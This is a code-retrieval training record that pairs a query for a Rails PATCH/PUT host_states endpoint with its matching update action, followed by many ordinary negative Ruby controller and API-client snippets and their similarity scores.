"def create\n @state = State.new(params[:state])\n @state.created_by = @created_by\n respond_to do |format|\n if @state.save\n format.html { redirect_to([:admin,@state], :notice => 'State was successfully created.') }\n format.xml { render :xml => @admin_state, :status => :created, :location => @state }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @state.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def orderStates\n @states = Hash.new\n @states[0] = \"Processing\"\n @states[1] = \"Shipped\"\n @states[2] = \"Delivered\"\n @states[3] = \"Cancelled\"\n end",
"def backup_dashboards(http_auth, graphite_server)\n board_names = JSON.parse(http_auth.post(\"#{graphite_server}/dashboard/find/\", form: {query:''}).to_s)['dashboards'].map{|n|n['name']}\n\n board_names.map do |b|\n dat=http_auth.get(\"#{graphite_server}/dashboard/load/#{b}\").to_s\n state_str=JSON.parse(dat)['state'].to_json # :(\n puts state_str\n end\nend",
"def create\n @federal_state = FederalState.new(federal_state_params)\n\n respond_to do |format|\n if @federal_state.save\n format.html { redirect_to @federal_state, notice: 'Federal state was successfully created.' }\n format.json { render action: 'show', status: :created, location: @federal_state }\n else\n format.html { render action: 'new' }\n format.json { render json: @federal_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_states\n perform(:get, 'enum/states', nil, nonauth_headers).body\n end",
"def create\n @state_prov = StateProv.new(state_prov_params)\n\n respond_to do |format|\n if @state_prov.save\n format.html { redirect_to @state_prov, notice: 'State prov was successfully created.' }\n format.json { render :show, status: :created, location: @state_prov }\n else\n format.html { render :new }\n format.json { render json: @state_prov.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @task_state = TaskState.new(params[:task_state])\n\n respond_to do |format|\n if @task_state.save\n format.html { redirect_to(@task_state, :notice => t(\"screens.notice.successfully_created\")) }\n format.xml { render :xml => @task_state, :status => :created, :location => @task_state }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @task_state.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @kanban_state = KanbanState.new(kanban_state_params)\n\n authorize @kanban_state\n\n respond_to do |format|\n if @kanban_state.save\n url = params[:url] || edit_admin_project_path(@kanban_state.project_id, anchor: \"kanban_states\")\n\n format.html { redirect_to url, notice: t('actions.created_with_success') }\n format.json { render :edit, status: :created, location: @kanban_state }\n else\n format.html { render :new }\n format.json { render json: @kanban_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tutorial_state = Tutorial::State.new(params[:tutorial_state])\n\n respond_to do |format|\n if @tutorial_state.save\n format.html { redirect_to @tutorial_state, notice: 'State was successfully created.' }\n format.json { render json: @tutorial_state, status: :created, location: @tutorial_state }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tutorial_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n unless params[:country_id]\n @city = City.new(params[:city])\n @city.step=\"2\"\n state = State.find_by_id(params[:city][:state_id]) if params[:city][:state_id]\n @city.state = state\n if @city.save\n render :json=>{:response=>\"success\"}\n else\n render :json=>failure1(@city.errors)\n end\n end\n end",
"def create\n @program_state = ProgramState.new(program_state_params)\n\n respond_to do |format|\n if @program_state.save\n format.html { redirect_to @program_state, notice: 'Program state was successfully created.' }\n format.json { render action: 'show', status: :created, location: @program_state }\n else\n format.html { render action: 'new' }\n format.json { render json: @program_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @counties = County.all\n\n @county = County.create(county_params)\n\n @states = State.all.order(:state_name)\n end",
"def state_params\n params.require(:state).permit(:visited, :unvisited, :plan_to)\n end",
"def state\n @instance = Instance.find_by_instance_id(params[:id])\n @instance.state = params[:state] if params[:state]\n @instance.save\n \n \n respond_to do |format|\n format.html { redirect_to(instances_url) }\n format.xml { head :ok }\n end\n end",
"def test_state_params\n #params.require(:test_state).permit(:name)\n end",
"def create\n @expense_state = ExpenseState.new(params[:expense_state])\n\n respond_to do |format|\n if @expense_state.save\n format.html { redirect_to @expense_state, notice: 'Expense state was successfully created.' }\n format.json { render json: @expense_state, status: :created, location: @expense_state }\n else\n format.html { render action: \"new\" }\n format.json { render json: @expense_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @recipe = Recipe.new(recipe_params)\n @states = State.all\n\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to @recipe, notice: 'Recipe was successfully created.' }\n format.json { render :show, status: :created, location: @recipe }\n else\n format.html { render :new }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @host_address = HostAddress.new(host_address_params)\n respond_to do |format|\n if @host_address.save\n format.html { redirect_to @host_address, notice: 'Host address was successfully created.' }\n format.json { render :show, status: :created, location: @host_address }\n else\n format.html { render :new }\n format.json { render json: @host_address.errors, status: :unprocessable_entity }\n end\n end\n end",
"def states\n @states ||= {}\n end",
"def set_check_host_attribute_state(opts)\n opts = check_params(opts,[:states])\n super(opts)\n end",
"def create\n @property_state = PropertyState.new(property_state_params)\n\n respond_to do |format|\n if @property_state.save\n format.html { redirect_to @property_state, notice: 'Property state was successfully created.' }\n format.json { render :show, status: :created, location: @property_state }\n else\n format.html { render :new }\n format.json { render json: @property_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @event_states = EventState.all\n end",
"def create\n @estate = Estate.new(params[:estate])\n\n respond_to do |format|\n if @estate.save\n format.html { redirect_to @estate, notice: 'Estate was successfully created.' }\n format.json { render json: @estate, status: :created, location: @estate }\n else\n format.html { render action: \"new\" }\n format.json { render json: @estate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n \n\tputs params[:country]\n\tcountry = Country.where(:code => params[:country]).first\n\t\n\tputs country\n\tcountryId = country.id\n \n\tputs countryId\n\t\n @state = State.new :code => params[:code], :name => params[:name], :country_id => countryId\n \n respond_to do |format|\n if @state.save\n format.html { redirect_to(:action => \"index\") }\n else\n format.html { render action: \"new\" } \n end\n end\n end",
"def create\n @goal_state = GoalState.new(params[:goal_state])\n\n respond_to do |format|\n if @goal_state.save\n format.html { redirect_to @goal_state, notice: 'Goal state was successfully created.' }\n format.json { render json: @goal_state, status: :created, location: @goal_state }\n else\n format.html { render action: \"new\" }\n format.json { render json: @goal_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @state_statistic = StateStatistic.new(state_statistic_params)\n\n respond_to do |format|\n if @state_statistic.save\n format.html { redirect_to @state_statistic, notice: 'State statistic was successfully created.' }\n format.json { render :show, status: :created, location: @state_statistic }\n else\n format.html { render :new }\n format.json { render json: @state_statistic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def task_state_params\n params.require(:task_state).permit(:name)\n end",
"def index\n @action_states = ActionState.all\n end",
"def call(state, params = {})\n req = Net::HTTP::Post.new(uri.path)\n req['Authorization'] = \"token #{@github_oauth_token}\"\n req.body = params.merge(state: state).to_json\n http.request(req)\n end",
"def post_inventories(name,description, organization=1,variables='')\n dprint \"/api/v1/hosts\"\n resp = @rest['/api/v1/hosts'].post({\n :name => name,\n :description => description,\n :organization => organization,\n :variables => variables\n })\n dprint resp\n\n #[XXX] Theoretical what this is at this point - need to see \n # actual response\n JSON.parse(resp)[\"results\"]\n end",
"def create\n @hand_state = HandState.new(params[:hand_state])\n\n respond_to do |format|\n if @hand_state.save\n format.html { redirect_to @hand_state, notice: 'Hand state was successfully created.' }\n format.json { render json: @hand_state, status: :created, location: @hand_state }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hand_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @empire_rc_state = EmpireRcState.new(empire_rc_state_params)\n\n respond_to do |format|\n if @empire_rc_state.save\n format.html { redirect_to empire_rc_states_path, notice: 'Empire rc state was successfully created.' }\n format.json { render :show, status: :created, location: @empire_rc_state }\n else\n format.html { render :new }\n format.json { render json: @empire_rc_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def user_state_params\n params.require(:user_state).permit(:state)\n end",
"def add_state(v)\nunless has_state?(v)\n@state[v] = true\n@transition[v] = {}\nend\nend",
"def stateform_params\n params.require(:stateform).permit(:date, :tax, :time_type, :income,:status ,:state )\n end",
"def state_params\n # extend with your own params\n accessible = %i[iso name country_id]\n params.require(:state).permit(accessible)\n end",
"def create_state\n State.create(state:'TX')\n end",
"def states; @_hegemon_states.keys; end"
] |
[
"0.654604",
"0.63822395",
"0.6341647",
"0.6176897",
"0.6072829",
"0.60607713",
"0.60364217",
"0.59012187",
"0.589734",
"0.584827",
"0.58350354",
"0.58149356",
"0.57847863",
"0.57847863",
"0.5740959",
"0.57045966",
"0.56913495",
"0.56911147",
"0.5685016",
"0.56608015",
"0.5640961",
"0.56274307",
"0.5616884",
"0.5613528",
"0.55947465",
"0.55898494",
"0.55584973",
"0.55435276",
"0.5511828",
"0.54807013",
"0.54763746",
"0.5475608",
"0.54703116",
"0.5448081",
"0.5432159",
"0.54267406",
"0.54246986",
"0.54206157",
"0.540703",
"0.54057264",
"0.5393358",
"0.536526",
"0.53623015",
"0.53618467",
"0.53542125",
"0.5353819",
"0.5353819",
"0.5341585",
"0.5335584",
"0.53152126",
"0.530828",
"0.5307092",
"0.52934986",
"0.528595",
"0.5268559",
"0.5268459",
"0.5260917",
"0.5255542",
"0.52543813",
"0.5237903",
"0.52318335",
"0.52299833",
"0.522827",
"0.5225153",
"0.52107584",
"0.5187476",
"0.5178983",
"0.517097",
"0.51671016",
"0.51615393",
"0.5147792",
"0.51390254",
"0.51373696",
"0.513069",
"0.51280534",
"0.51254493",
"0.51158935",
"0.51153374",
"0.5079325",
"0.5072078",
"0.5051385",
"0.5050666",
"0.5040546",
"0.5036313",
"0.5035358",
"0.5026943",
"0.5026522",
"0.50230956",
"0.5020141",
"0.5019829",
"0.5016463",
"0.5015697",
"0.50132304",
"0.501087",
"0.5009023",
"0.50071126",
"0.5002975",
"0.4995541",
"0.4971642",
"0.49680728"
] |
0.728463
|
0
|
PATCH/PUT /host_states/1 PATCH/PUT /host_states/1.json
|
def update
respond_to do |format|
if @host_state.update(host_state_params)
format.html { redirect_to @host_state, notice: 'Host state was successfully updated.' }
format.json { render :show, status: :ok, location: @host_state }
else
format.html { render :edit }
format.json { render json: @host_state.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @api_state = Api::State.find(params[:id])\n\n if @api_state.update(api_state_params)\n head :no_content\n else\n render json: @api_state.errors, status: :unprocessable_entity\n end\n end",
"def doUpdate(startState)\n if (new_resource.rackID.nil? || new_resource.rackID.empty?)\n return\n end\n \n json = \"{\\\"rackId\\\" : \\\"#{new_resource.rackID}\\\"}\"\n \n response = putRequest(\"/hosts/#{new_resource.hostname}\", json)\n \n unless response.code.to_i.between?(200,299)\n raise Exception.new(\"Host update of #{new_resource.hostname} failed with #{response.code} code. Body: #{response.body}\")\n end\n \n unless response.body == startState\n new_resource.updated_by_last_action true\n end\nend",
"def update\n if @state.update(state_params)\n render json: @state\n # 'State was successfully updated.'\n else\n render json: @state.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @modelstate.update(params[:modelstates])\n format.html { redirect_to @modelstate, notice: 'Modelstate was successfully updated.' }\n format.json { render :show, status: :ok, location: @modelstate }\n else\n format.html { render :edit }\n format.json { render json: @modelstate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @state.update(state_params)\n format.html { redirect_to @state, notice: 'State was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project_state.update(project_state_params)\n head :no_content\n end",
"def update\n respond_to do |format|\n if @state.update(state_params)\n format.html { redirect_to @state, notice: 'State was successfully updated.' }\n format.json { render :show, status: :ok, location: @state }\n else\n format.html { render :edit }\n format.json { render json: @state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @state.update(state_params)\n format.html { redirect_to @state, notice: 'State was successfully updated.' }\n format.json { render :show, status: :ok, location: @state }\n else\n format.html { render :edit }\n format.json { render json: @state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @state = State.find(params[:id])\n\n respond_to do |format|\n if @state.update_attributes(params[:state])\n format.html { redirect_to @state, notice: 'State was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @state = State.find(params[:id])\n\n respond_to do |format|\n if @state.update_attributes(params[:state])\n format.html { redirect_to @state, notice: 'State was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @state = State.find(params[:id])\n\n respond_to do |format|\n if @state.update_attributes(params[:state])\n format.html { redirect_to @state, notice: 'State was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_host_state\n @host_state = HostState.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @state.update_attributes(state_params)\n format.html { redirect_to @state, notice: 'State was successfully updated.' }\n format.json { render json:{message:'State was successfully updated.'} }\n else\n format.html { render action: 'edit' }\n format.json { render json: @state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @current_state.update(current_state_params)\n format.html { redirect_to \"/\", notice: 'CurrentState was successfully updated.' }\n format.json { render :root, status: :ok, location: @current_state }\n else\n format.html { render :edit }\n format.json { render json: @current_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @process_state.update(process_state_params)\n format.html { redirect_to @process_state, notice: 'Process state was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @process_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @event_state.update(event_state_params)\n format.html { redirect_to @event_state, notice: 'Event state was successfully updated.' }\n format.json { render :show, status: :ok, location: @event_state }\n else\n format.html { render :edit }\n format.json { render json: @event_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @map_state = MapState.find(params[:id])\n\n respond_to do |format|\n if @map_state.update_attributes(params[:map_state])\n format.html { redirect_to @map_state, :notice => 'Map state was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @map_state.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @state = @country.states.find(params[:id])\n\n respond_to do |format|\n if @state.update_attributes(params[:state])\n format.html { redirect_to([@country, @state], :notice => 'State was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @state.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @action_state.update(action_state_params)\n format.html { redirect_to [project, @action_state], notice: 'Action state was successfully updated.' }\n format.json { render :show, status: :ok, location: @action_state }\n end\n end\n end",
"def update\n @state = State.find(params[:id])\n\n respond_to do |format|\n if @state.update_attributes(params[:state])\n format.html { redirect_to(states_path, :notice => 'State was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @state.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sprint_state.update(sprint_state_params)\n format.html { redirect_to @sprint_state, notice: 'Sprint state was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sprint_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task_state.update(task_state_params)\n format.html { redirect_to @task_state, success: 'Task state was successfully updated.' }\n format.json { render :show, status: :ok, location: @task_state }\n else\n format.html { render :edit }\n format.json { render json: @task_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @federal_state.update(federal_state_params)\n format.html { redirect_to @federal_state, notice: 'Federal state was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @federal_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @program_state.update(program_state_params)\n format.html { redirect_to @program_state, notice: 'Program state was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @program_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @kanban_state\n\n respond_to do |format|\n if @kanban_state.update(kanban_state_params)\n url = params[:url] || edit_admin_project_path(@kanban_state.project_id, anchor: \"kanban_states\")\n\n format.html { redirect_to url, notice: t('actions.updated_with_success')}\n format.json { render :edit, status: :ok, location: @kanban_state }\n else\n format.html { render :edit }\n format.json { render json: @kanban_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def host_state_params\n params.require(:host_state).permit(:name)\n end",
"def update\n respond_to do |format|\n if @user_state.update(user_state_params)\n format.html { redirect_to @user_state, notice: 'User state was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @device_states = args[:device_states] if args.key?(:device_states)\n end",
"def update!(**args)\n @device_states = args[:device_states] if args.key?(:device_states)\n end",
"def update\n respond_to do |format|\n if @state_type.update(state_type_params)\n format.html { redirect_to @state_type, notice: 'State type was successfully updated.' }\n format.json { render :show, status: :ok, location: @state_type }\n else\n format.html { render :edit }\n format.json { render json: @state_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @host = Host.find(params[:id])\n\n if @host.update(params[:host])\n head :no_content\n else\n render json: @host.errors, status: :unprocessable_entity\n end\n end",
"def update\n @host = Host.find(params[:id])\n\n respond_to do |format|\n if @host.update_attributes(params[:host])\n format.html { redirect_to @host, notice: 'Host was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n \"#{@states_assign.assigned_to}StateMachine\".constantize.states.delete(@states_assign.state.name)\n if @states_assign.update(states_assign_params)\n format.html { redirect_to @states_assign, notice: 'State was successfully updated.' }\n format.json { render :show, status: :ok, location: @states_assign }\n \"#{@states_assign.assigned_to}StateMachine\".constantize.state @states_assign.state.name.to_sym\n\n puts '##############################'\n puts LeadStateMachine.states\n puts '##############################'\n\n puts '##############################'\n puts PaymentStateMachine.states\n puts '##############################'\n\n\n else\n format.html { render :edit }\n format.json { render json: @states_assign.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @state = args[:state] if args.key?(:state)\n @status_events = args[:status_events] if args.key?(:status_events)\n end",
"def update\n respond_to do |format|\n if @host_address.update(host_address_params)\n format.html { redirect_to @host_address, notice: 'Host address was successfully updated.' }\n format.json { render :show, status: :ok, location: @host_address }\n else\n format.html { render :edit }\n format.json { render json: @host_address.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @united_state.update(united_state_params)\n format.html { redirect_to @united_state, notice: 'United state was successfully updated.' }\n format.json { render :show, status: :ok, location: @united_state }\n else\n format.html { render :edit }\n format.json { render json: @united_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @state = State.find(params[:id])\n @state.updated_by = @updated_by\n respond_to do |format|\n if @state.update_attributes(params[:state])\n format.html { redirect_to([:admin,@state], :notice => 'State was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @state.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @asset_state = AssetState.find(params[:id])\n respond_to do |format|\n if @asset_state.update_attributes(params[:asset_state])\n format.html { redirect_to system_asset_states_path, notice: 'Asset type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @asset_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @host.update(host_params)\n format.html { redirect_to @host, notice: 'Host was successfully updated.' }\n format.json { render :show, status: :ok, location: @host }\n else\n format.html { render :edit }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @v1_order = V1::Order.find(params[:id])\n\n case @v1_order.state\n when 0\n if @v1_order.update(v1_order_params)\n head :no_content\n else\n render json: @v1_order.errors, status: :unprocessable_entity\n end\n else\n render json: {message: 'Can be edited only when in draft(0) state'}, status: 400\n end\n \n end",
"def update\n respond_to do |format|\n if @host.update(host_params)\n format.html { redirect_to data_source_hosts_path(@host.data_source_id), notice: 'Host was successfully updated.' }\n format.json { render :show, status: :ok, location: @host }\n else\n format.html { render :edit }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end",
"def state\n @instance = Instance.find_by_instance_id(params[:id])\n @instance.state = params[:state] if params[:state]\n @instance.save\n \n \n respond_to do |format|\n format.html { redirect_to(instances_url) }\n format.xml { head :ok }\n end\n end",
"def update\n @host = Host.find_by(hostname: params[:id]) ||\n Host.create(host_params.merge({hostname: params[:id]}))\n\n if @host.update(host_params)\n head :no_content\n else\n render json: @host.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @state_prov.update(state_prov_params)\n format.html { redirect_to @state_prov, notice: 'State prov was successfully updated.' }\n format.json { render :show, status: :ok, location: @state_prov }\n else\n format.html { render :edit }\n format.json { render json: @state_prov.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n keystone.update_tenant({:id=>params[:id],:name=>params[:name],:description=>params[:description],:enabled=>params[:enabled]})\n respond_to do |format|\n format.html { redirect_to tenants_path, :notice => 'Tenant was successfully updated.' }\n format.json { head :ok }\n end\n end",
"def update\n @socket_state = SocketState.find(params[:id])\n\n respond_to do |format|\n if @socket_state.update_attributes(params[:socket_state])\n format.html { redirect_to(@socket_state, :notice => 'Socket state was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @socket_state.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n old_env = Environment.find(params[:id])\n Machine.reset_env_lists unless old_env.agents == params[:environment][:agents] and\n old_env.name == params[:environment][:name]\n @lists = List.active\n want_delete = (params['delete'] == '1')\n if @environment.deleted_at.nil? == want_delete\n params[:environment]['deleted_at'] = params['delete'] ? Time.now : nil\n end\n params[:environment][:list_ids]=[] unless params[:environment][:list_ids]\n params[:environment][:name].strip! if params[:environment][:name]\n params[:environment][:rerun] ||= nil\n respond_to do |format|\n if @environment.update_attributes(params[:environment])\n flash[:notice] = \"Environment '#{@environment.name}' was successfully updated.\"\n format.html { redirect_to environments_path }\n # format.html { redirect_to (@environment) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @environment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @tender_state = TenderState.find(params[:id])\n\n respond_to do |format|\n if @tender_state.update_attributes(params[:tender_state])\n format.html { redirect_to @tender_state, notice: 'Tender state was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tender_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @states = args[:states] if args.key?(:states)\n end",
"def update!(**args)\n @http_enabled_state = args[:http_enabled_state] if args.key?(:http_enabled_state)\n end",
"def update!(**args)\n @http_enabled_state = args[:http_enabled_state] if args.key?(:http_enabled_state)\n end",
"def update\n respond_to do |format|\n if @user_state.update(user_state_params)\n format.html { redirect_to @user_state, notice: 'User state was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_state }\n else\n format.html { render :edit }\n format.json { render json: @user_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @psa_state = PsaState.find(params[:id])\n\n respond_to do |format|\n if @psa_state.update_attributes(params[:psa_state])\n format.html { redirect_to @psa_state, notice: 'Psa state was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @psa_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stateform.update(stateform_params)\n format.html { redirect_to @stateform, notice: 'stateform was successfully updated.' }\n format.json { render :show, status: :ok, location: @stateform }\n else\n format.html { render 'new' }\n format.json { render json: @stateform.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_security_monitoring_signal_state_with_http_info(signal_id, body, opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SecurityMonitoringAPI.edit_security_monitoring_signal_state ...'\n end\n # verify the required parameter 'signal_id' is set\n if @api_client.config.client_side_validation && signal_id.nil?\n fail ArgumentError, \"Missing the required parameter 'signal_id' when calling SecurityMonitoringAPI.edit_security_monitoring_signal_state\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling SecurityMonitoringAPI.edit_security_monitoring_signal_state\"\n end\n # resource path\n local_var_path = '/api/v1/security_analytics/signals/{signal_id}/state'.sub('{signal_id}', CGI.escape(signal_id.to_s).gsub('%2F', '/'))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(body)\n\n # return_type\n return_type = opts[:debug_return_type] || 'SuccessfulSignalUpdateResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth]\n\n new_options = opts.merge(\n :operation => :edit_security_monitoring_signal_state,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V1\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Patch, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SecurityMonitoringAPI#edit_security_monitoring_signal_state\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def flag_xms_system_to_be_normal \n put(\"/globalsettings.json/xms/normal\")\nend",
"def update\n @estate = Estate.find(params[:id])\n\n respond_to do |format|\n if @estate.update_attributes(params[:estate])\n format.html { redirect_to @estate, notice: 'Estate was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @estate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update!(**args)\n @application = args[:application] if args.key?(:application)\n @state_status = args[:state_status] if args.key?(:state_status)\n end",
"def update!(**args)\n @additions = args[:additions] if args.key?(:additions)\n @checksum = args[:checksum] if args.key?(:checksum)\n @new_client_state = args[:new_client_state] if args.key?(:new_client_state)\n @platform_type = args[:platform_type] if args.key?(:platform_type)\n @removals = args[:removals] if args.key?(:removals)\n @response_type = args[:response_type] if args.key?(:response_type)\n @threat_entry_type = args[:threat_entry_type] if args.key?(:threat_entry_type)\n @threat_type = args[:threat_type] if args.key?(:threat_type)\n end",
"def update\n thing_name = params[:id]\n is_on = params[:on].to_i\n client = Broker::Wrapper.new(current_user, thing_name)\n result = client.set_state(is_on)\n\n result_hash = result.as_json\n render json: result_hash, status: 200\n end",
"def update\n @task_state = TaskState.find(params[:id])\n\n respond_to do |format|\n if @task_state.update_attributes(params[:task_state])\n format.html { redirect_to(@task_state, :notice => t(\"screens.notice.successfully_updated\")) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task_state.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @expense_state = ExpenseState.find(params[:id])\n\n respond_to do |format|\n if @expense_state.update_attributes(params[:expense_state])\n format.html { redirect_to @expense_state, notice: 'Expense state was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expense_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @empire_rc_state.update(empire_rc_state_params)\n format.html { redirect_to @empire_rc_state, notice: 'Empire rc state was successfully updated.' }\n format.json { render :show, status: :ok, location: @empire_rc_state }\n else\n format.html { render :edit }\n format.json { render json: @empire_rc_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @property_state.update(property_state_params)\n format.html { redirect_to @property_state, notice: 'Property state was successfully updated.' }\n format.json { render :show, status: :ok, location: @property_state }\n else\n format.html { render :edit }\n format.json { render json: @property_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set(options)\n json_body = options.to_json\n request_uri = \"#{base_request_uri}/state\"\n HTTParty.put(request_uri, :body => json_body)\n end",
"def update\n status_key = STATUS[rand(STATUS.length)]\n\n n = Spooge.update_all_on_redis(:touch_date, DateTime.now)\n n = Spooge.update_all_on_redis(:status, status_key)\n resp = {:updated => n, :status_key => status_key}\n render :json => resp\n end",
"def set_deleted_all\n @states.set_deleted_all\n\n respond_to do |format|\n format.json {\n render json: {\n 'message': t('.success'),\n 'type': 'success'\n }\n }\n end\n end",
"def edit\n @event = Event.find(params[:id])\n @states = ['AL','AK','AZ','AR','CA','CO','CT','DE','FL','GA','HI','ID','IL','IN',\n 'IA','KS','KY','LA','ME','MD','MA','MI','MN','MS','MO','MT','NE','NV',\n 'NH','NJ','NM','NY','NC','ND','OH','OK','OR','PA','RI','SC','SD','TN',\n 'TX','UT','VT','VA','WA','WV','WI','WY']\n end",
